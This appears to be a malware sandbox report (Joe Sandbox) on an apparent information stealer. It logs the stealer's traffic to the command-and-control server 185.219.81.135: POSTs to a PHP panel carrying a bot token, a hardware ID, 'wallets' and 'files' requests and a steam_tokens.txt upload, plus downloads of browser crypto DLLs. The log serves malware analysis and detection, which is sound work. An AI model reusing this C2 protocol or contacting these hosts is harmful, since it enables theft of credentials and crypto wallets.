Source: global traffic	HTTP traffic detected: POST /c708352984fb7ac0.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIIEGHIDBGHIECAAECGDHost: 185.219.81.135Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 49 45 47 48 49 44 42 47 48 49 45 43 41 41 45 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 65 38 37 62 38 35 35 37 39 35 39 34 37 37 32 63 35 39 34 62 33 66 31 31 36 35 36 30 33 34 34 34 64 66 36 38 65 39 39 34 39 39 31 39 61 63 65 39 32 35 31 36 63 38 65 38 30 39 33 63 30 30 38 66 38 64 65 62 35 30 35 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 45 47 48 49 44 42 47 48 49 45 43 41 41 45 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 45 47 48 49 44 42 47 48 49 45 43 41 41 45 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 45 47 48 49 44 42 47 48 49 45 43 41 41 45 43 47 44 2d 2d 0d 0a Data Ascii: ------GIIEGHIDBGHIECAAECGDContent-Disposition: form-data; name="token"7e87b85579594772c594b3f1165603444df68e9949919ace92516c8e8093c008f8deb505------GIIEGHIDBGHIECAAECGDContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------GIIEGHIDBGHIECAAECGDContent-Disposition: form-data; name="file"------GIIEGHIDBGHIECAAECGD--
Source: global traffic	HTTP traffic detected: GET /de4fe4f133a5af6f/freebl3.dll HTTP/1.1Host: 185.219.81.135Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /de4fe4f133a5af6f/mozglue.dll HTTP/1.1Host: 185.219.81.135Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /de4fe4f133a5af6f/msvcp140.dll HTTP/1.1Host: 185.219.81.135Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /de4fe4f133a5af6f/nss3.dll HTTP/1.1Host: 185.219.81.135Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /de4fe4f133a5af6f/softokn3.dll HTTP/1.1Host: 185.219.81.135Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /de4fe4f133a5af6f/vcruntime140.dll HTTP/1.1Host: 185.219.81.135Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c708352984fb7ac0.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIEGHJEGHJKFIEBFHJKKHost: 185.219.81.135Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c708352984fb7ac0.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJEHIJEBKEBFBFHIIDHIHost: 185.219.81.135Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 45 48 49 4a 45 42 4b 45 42 46 42 46 48 49 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 65 38 37 62 38 35 35 37 39 35 39 34 37 37 32 63 35 39 34 62 33 66 31 31 36 35 36 30 33 34 34 34 64 66 36 38 65 39 39 34 39 39 31 39 61 63 65 39 32 35 31 36 63 38 65 38 30 39 33 63 30 30 38 66 38 64 65 62 35 30 35 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 45 48 49 4a 45 42 4b 45 42 46 42 46 48 49 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 45 48 49 4a 45 42 4b 45 42 46 42 46 48 49 49 44 48 49 2d 2d 0d 0a Data Ascii: ------HJEHIJEBKEBFBFHIIDHIContent-Disposition: form-data; name="token"7e87b85579594772c594b3f1165603444df68e9949919ace92516c8e8093c008f8deb505------HJEHIJEBKEBFBFHIIDHIContent-Disposition: form-data; name="message"wallets------HJEHIJEBKEBFBFHIIDHI--
Source: global traffic	HTTP traffic detected: POST /c708352984fb7ac0.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJEGDBGDBFIJKECBAKFBHost: 185.219.81.135Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 65 38 37 62 38 35 35 37 39 35 39 34 37 37 32 63 35 39 34 62 33 66 31 31 36 35 36 30 33 34 34 34 64 66 36 38 65 39 39 34 39 39 31 39 61 63 65 39 32 35 31 36 63 38 65 38 30 39 33 63 30 30 38 66 38 64 65 62 35 30 35 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 42 2d 2d 0d 0a Data Ascii: ------IJEGDBGDBFIJKECBAKFBContent-Disposition: form-data; name="token"7e87b85579594772c594b3f1165603444df68e9949919ace92516c8e8093c008f8deb505------IJEGDBGDBFIJKECBAKFBContent-Disposition: form-data; name="message"files------IJEGDBGDBFIJKECBAKFB--
Source: global traffic	HTTP traffic detected: POST /c708352984fb7ac0.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHDAFBFCFHIDAKFIIEBAHost: 185.219.81.135Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 48 44 41 46 42 46 43 46 48 49 44 41 4b 46 49 49 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 65 38 37 62 38 35 35 37 39 35 39 34 37 37 32 63 35 39 34 62 33 66 31 31 36 35 36 30 33 34 34 34 64 66 36 38 65 39 39 34 39 39 31 39 61 63 65 39 32 35 31 36 63 38 65 38 30 39 33 63 30 30 38 66 38 64 65 62 35 30 35 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 41 46 42 46 43 46 48 49 44 41 4b 46 49 49 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 41 46 42 46 43 46 48 49 44 41 4b 46 49 49 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 41 46 42 46 43 46 48 49 44 41 4b 46 49 49 45 42 41 2d 2d 0d 0a Data Ascii: ------DHDAFBFCFHIDAKFIIEBAContent-Disposition: form-data; name="token"7e87b85579594772c594b3f1165603444df68e9949919ace92516c8e8093c008f8deb505------DHDAFBFCFHIDAKFIIEBAContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------DHDAFBFCFHIDAKFIIEBAContent-Disposition: form-data; name="file"------DHDAFBFCFHIDAKFIIEBA--
Source: global traffic	HTTP traffic detected: POST /c708352984fb7ac0.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IEHJDGIDBAAFIDGCGCAKHost: 185.219.81.135Content-Length: 130755Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c708352984fb7ac0.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIECBFIDGDAKFHIEHJKFHost: 185.219.81.135Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 49 45 43 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 65 38 37 62 38 35 35 37 39 35 39 34 37 37 32 63 35 39 34 62 33 66 31 31 36 35 36 30 33 34 34 34 64 66 36 38 65 39 39 34 39 39 31 39 61 63 65 39 32 35 31 36 63 38 65 38 30 39 33 63 30 30 38 66 38 64 65 62 35 30 35 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 43 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 43 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 2d 2d 0d 0a Data Ascii: ------FIECBFIDGDAKFHIEHJKFContent-Disposition: form-data; name="token"7e87b85579594772c594b3f1165603444df68e9949919ace92516c8e8093c008f8deb505------FIECBFIDGDAKFHIEHJKFContent-Disposition: form-data; name="message"ybncbhylepme------FIECBFIDGDAKFHIEHJKF--
Source: global traffic	HTTP traffic detected: POST /c708352984fb7ac0.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCBAECGIEBKKFHIDAKECHost: 185.219.81.135Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 43 42 41 45 43 47 49 45 42 4b 4b 46 48 49 44 41 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 65 38 37 62 38 35 35 37 39 35 39 34 37 37 32 63 35 39 34 62 33 66 31 31 36 35 36 30 33 34 34 34 64 66 36 38 65 39 39 34 39 39 31 39 61 63 65 39 32 35 31 36 63 38 65 38 30 39 33 63 30 30 38 66 38 64 65 62 35 30 35 0d 0a 2d 2d 2d 2d 2d 2d 46 43 42 41 45 43 47 49 45 42 4b 4b 46 48 49 44 41 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 46 43 42 41 45 43 47 49 45 42 4b 4b 46 48 49 44 41 4b 45 43 2d 2d 0d 0a Data Ascii: ------FCBAECGIEBKKFHIDAKECContent-Disposition: form-data; name="token"7e87b85579594772c594b3f1165603444df68e9949919ace92516c8e8093c008f8deb505------FCBAECGIEBKKFHIDAKECContent-Disposition: form-data; name="message"wkkjqaiaxkhb------FCBAECGIEBKKFHIDAKEC--

Source: Joe Sandbox View

IP Address: 239.255.255.250 239.255.255.250

Source: Joe Sandbox View

ASN Name: ON-LINE-DATAServerlocation-NetherlandsDrontenNL ON-LINE-DATAServerlocation-NetherlandsDrontenNL

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49706 -> 185.219.81.135:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49764 -> 185.219.81.135:80

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.219.81.135
Source: unknown	TCP traffic detected without corresponding DNS query: 185.219.81.135
Source: unknown	TCP traffic detected without corresponding DNS query: 185.219.81.135
Source: unknown	TCP traffic detected without corresponding DNS query: 185.219.81.135
Source: unknown	TCP traffic detected without corresponding DNS query: 185.219.81.135
Source: unknown	TCP traffic detected without corresponding DNS query: 185.219.81.135
Source: unknown	TCP traffic detected without corresponding DNS query: 185.219.81.135
Source: unknown	TCP traffic detected without corresponding DNS query: 185.219.81.135
Source: unknown	TCP traffic detected without corresponding DNS query: 185.219.81.135
Source: unknown	TCP traffic detected without corresponding DNS query: 185.219.81.135
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.219.81.135
Source: unknown	TCP traffic detected without corresponding DNS query: 185.219.81.135
Source: unknown	TCP traffic detected without corresponding DNS query: 185.219.81.135
Source: unknown	TCP traffic detected without corresponding DNS query: 185.219.81.135
Source: unknown	TCP traffic detected without corresponding DNS query: 185.219.81.135
Source: unknown	TCP traffic detected without corresponding DNS query: 185.219.81.135
Source: unknown	TCP traffic detected without corresponding DNS query: 185.219.81.135
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.219.81.135
Source: unknown	TCP traffic detected without corresponding DNS query: 185.219.81.135
Source: unknown	TCP traffic detected without corresponding DNS query: 185.219.81.135
Source: unknown	TCP traffic detected without corresponding DNS query: 185.219.81.135
Source: unknown	TCP traffic detected without corresponding DNS query: 185.219.81.135
Source: unknown	TCP traffic detected without corresponding DNS query: 185.219.81.135
Source: unknown	TCP traffic detected without corresponding DNS query: 185.219.81.135
Source: unknown	TCP traffic detected without corresponding DNS query: 185.219.81.135
Source: unknown	TCP traffic detected without corresponding DNS query: 185.219.81.135
Source: unknown	TCP traffic detected without corresponding DNS query: 185.219.81.135
Source: unknown	TCP traffic detected without corresponding DNS query: 185.219.81.135
Source: unknown	TCP traffic detected without corresponding DNS query: 185.219.81.135
Source: unknown	TCP traffic detected without corresponding DNS query: 185.219.81.135
Source: unknown	TCP traffic detected without corresponding DNS query: 185.219.81.135
Source: unknown	TCP traffic detected without corresponding DNS query: 185.219.81.135
Source: unknown	TCP traffic detected without corresponding DNS query: 185.219.81.135
Source: unknown	TCP traffic detected without corresponding DNS query: 185.219.81.135
Source: unknown	TCP traffic detected without corresponding DNS query: 185.219.81.135
Source: unknown	TCP traffic detected without corresponding DNS query: 185.219.81.135
Source: unknown	TCP traffic detected without corresponding DNS query: 185.219.81.135
Source: unknown	TCP traffic detected without corresponding DNS query: 185.219.81.135
Source: unknown	TCP traffic detected without corresponding DNS query: 185.219.81.135
Source: unknown	TCP traffic detected without corresponding DNS query: 185.219.81.135
Source: unknown	TCP traffic detected without corresponding DNS query: 185.219.81.135
Source: unknown	TCP traffic detected without corresponding DNS query: 185.219.81.135
Source: unknown	TCP traffic detected without corresponding DNS query: 185.219.81.135
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91

Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.219.81.135Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /de4fe4f133a5af6f/sqlite3.dll HTTP/1.1Host: 185.219.81.135Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /de4fe4f133a5af6f/freebl3.dll HTTP/1.1Host: 185.219.81.135Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /de4fe4f133a5af6f/mozglue.dll HTTP/1.1Host: 185.219.81.135Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /de4fe4f133a5af6f/msvcp140.dll HTTP/1.1Host: 185.219.81.135Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /de4fe4f133a5af6f/nss3.dll HTTP/1.1Host: 185.219.81.135Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /de4fe4f133a5af6f/softokn3.dll HTTP/1.1Host: 185.219.81.135Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /de4fe4f133a5af6f/vcruntime140.dll HTTP/1.1Host: 185.219.81.135Cache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com

Source: unknown

HTTP traffic detected: POST /c708352984fb7ac0.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIEHIIIJDAAAAAAKECBFHost: 185.219.81.135Content-Length: 217Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 49 45 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 31 37 36 44 31 38 33 46 34 35 30 33 30 31 32 33 34 33 35 37 36 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 4c 6f 67 73 44 69 6c 6c 65 72 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 2d 2d 0d 0a Data Ascii: ------FIEHIIIJDAAAAAAKECBFContent-Disposition: form-data; name="hwid"D176D183F4503012343576------FIEHIIIJDAAAAAAKECBFContent-Disposition: form-data; name="build"LogsDiller------FIEHIIIJDAAAAAAKECBF--

Source: ZXVcgrmGRM.exe, 00000000.00000002.2519576382.0000000000564000.00000004.00000001.01000000.00000003.sdmp, ZXVcgrmGRM.exe, 00000000.00000002.2520571764.0000000001207000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.219.81.135
Source: ZXVcgrmGRM.exe, 00000000.00000002.2520571764.0000000001207000.00000004.00000020.00020000.00000000.sdmp, ZXVcgrmGRM.exe, 00000000.00000002.2520571764.0000000001247000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.219.81.135/
Source: ZXVcgrmGRM.exe, 00000000.00000002.2520571764.0000000001260000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.219.81.135/c708352984fb7ac0.php
Source: ZXVcgrmGRM.exe, 00000000.00000002.2520571764.0000000001247000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.219.81.135/c708352984fb7ac0.php)
Source: ZXVcgrmGRM.exe, 00000000.00000002.2520571764.0000000001247000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.219.81.135/c708352984fb7ac0.php1
Source: ZXVcgrmGRM.exe, 00000000.00000002.2520571764.0000000001200000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.219.81.135/c708352984fb7ac0.php3n
Source: ZXVcgrmGRM.exe, 00000000.00000002.2519576382.0000000000564000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.219.81.135/c708352984fb7ac0.php8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8K
Source: ZXVcgrmGRM.exe, 00000000.00000002.2520571764.0000000001200000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.219.81.135/c708352984fb7ac0.php:
Source: ZXVcgrmGRM.exe, 00000000.00000002.2520571764.0000000001200000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.219.81.135/c708352984fb7ac0.php=I
Source: ZXVcgrmGRM.exe, 00000000.00000002.2520571764.0000000001247000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.219.81.135/c708352984fb7ac0.phpA
Source: ZXVcgrmGRM.exe, 00000000.00000002.2520571764.0000000001200000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.219.81.135/c708352984fb7ac0.phpER
Source: ZXVcgrmGRM.exe, 00000000.00000002.2520571764.0000000001200000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.219.81.135/c708352984fb7ac0.phpGO
Source: ZXVcgrmGRM.exe, 00000000.00000002.2520571764.0000000001200000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.219.81.135/c708352984fb7ac0.phpP
Source: ZXVcgrmGRM.exe, 00000000.00000002.2519576382.0000000000564000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.219.81.135/c708352984fb7ac0.phpUser
Source: ZXVcgrmGRM.exe, 00000000.00000002.2520571764.0000000001200000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.219.81.135/c708352984fb7ac0.php_O
Source: ZXVcgrmGRM.exe, 00000000.00000002.2520571764.0000000001260000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.219.81.135/c708352984fb7ac0.phpbird
Source: ZXVcgrmGRM.exe, 00000000.00000002.2519576382.0000000000564000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.219.81.135/c708352984fb7ac0.phpcation
Source: ZXVcgrmGRM.exe, 00000000.00000002.2520571764.0000000001260000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.219.81.135/c708352984fb7ac0.phpinomi
Source: ZXVcgrmGRM.exe, 00000000.00000002.2520571764.0000000001200000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.219.81.135/c708352984fb7ac0.phplt
Source: ZXVcgrmGRM.exe, 00000000.00000002.2520571764.0000000001200000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.219.81.135/c708352984fb7ac0.phpmi
Source: ZXVcgrmGRM.exe, 00000000.00000002.2520571764.0000000001260000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.219.81.135/c708352984fb7ac0.phpwindow-state.jsonml
Source: ZXVcgrmGRM.exe, 00000000.00000002.2520571764.0000000001247000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.219.81.135/c708352984fb7ac0.phpy
Source: ZXVcgrmGRM.exe, 00000000.00000002.2520571764.0000000001247000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.219.81.135/de4fe4f133a5af6f/freebl3.dll
Source: ZXVcgrmGRM.exe, 00000000.00000002.2520571764.0000000001247000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.219.81.135/de4fe4f133a5af6f/freebl3.dll8
Source: ZXVcgrmGRM.exe, 00000000.00000002.2520571764.0000000001247000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.219.81.135/de4fe4f133a5af6f/mozglue.dll
Source: ZXVcgrmGRM.exe, 00000000.00000002.2520571764.0000000001247000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.219.81.135/de4fe4f133a5af6f/mozglue.dll2
Source: ZXVcgrmGRM.exe, 00000000.00000002.2520571764.0000000001247000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.219.81.135/de4fe4f133a5af6f/msvcp140.dll
Source: ZXVcgrmGRM.exe, 00000000.00000002.2520571764.0000000001207000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.219.81.135/de4fe4f133a5af6f/nss3.dll
Source: ZXVcgrmGRM.exe, 00000000.00000002.2520571764.0000000001247000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.219.81.135/de4fe4f133a5af6f/softokn3.dll
Source: ZXVcgrmGRM.exe, 00000000.00000002.2520571764.0000000001247000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.219.81.135/de4fe4f133a5af6f/softokn3.dll.
Source: ZXVcgrmGRM.exe, 00000000.00000002.2520571764.0000000001247000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.219.81.135/de4fe4f133a5af6f/softokn3.dllJ
Source: ZXVcgrmGRM.exe, 00000000.00000002.2520571764.0000000001247000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.219.81.135/de4fe4f133a5af6f/sqlite3.dll
Source: ZXVcgrmGRM.exe, 00000000.00000002.2520571764.0000000001247000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.219.81.135/de4fe4f133a5af6f/vcruntime140.dll
Source: ZXVcgrmGRM.exe, 00000000.00000002.2519576382.0000000000564000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.219.81.135HJKF
Source: ZXVcgrmGRM.exe, 00000000.00000002.2520571764.0000000001207000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.219.81.135W
Source: ZXVcgrmGRM.exe, 00000000.00000002.2519576382.0000000000564000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.219.81.135a
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
